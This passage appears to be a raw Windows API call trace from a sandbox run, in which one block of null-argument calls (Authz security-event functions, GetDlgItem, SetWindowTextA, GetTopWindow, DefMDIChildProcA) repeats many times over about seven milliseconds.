AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.490] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.490] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.490] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.490] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.491] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.491] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.491] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.491] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.491] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.491] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.491] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.491] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.491] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.491] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.491] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.491] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.491] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.491] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.491] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.491] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.491] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.491] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.491] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.491] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.491] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.491] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.491] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.492] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.492] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.492] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.492] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.492] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.492] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.492] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.492] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.492] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.492] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.492] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.492] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.492] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.492] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.492] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.492] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.492] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.492] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.492] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.492] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.492] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.492] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.493] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.493] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.493] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.493] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.493] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.493] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.493] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.493] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.493] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.493] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.493] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.493] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.493] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.493] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.493] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.493] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.493] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.493] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.493] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.494] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.494] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.494] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.494] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.494] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.494] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.494] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.494] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.494] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.494] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.494] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.494] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.494] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.494] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.494] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.495] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.495] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.495] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.495] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.495] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.495] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.495] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.495] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.495] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.495] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.495] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.495] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.495] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.495] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.495] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.495] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.495] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.495] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.495] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.496] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.496] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.496] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.496] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.496] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.496] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.496] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.496] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.496] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.496] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.496] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.496] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.496] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.496] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.496] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.496] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.496] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.496] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.496] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.497] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.497] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.497] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.497] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.497] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.497] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.497] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.497] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.497] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] SetWindowTextA 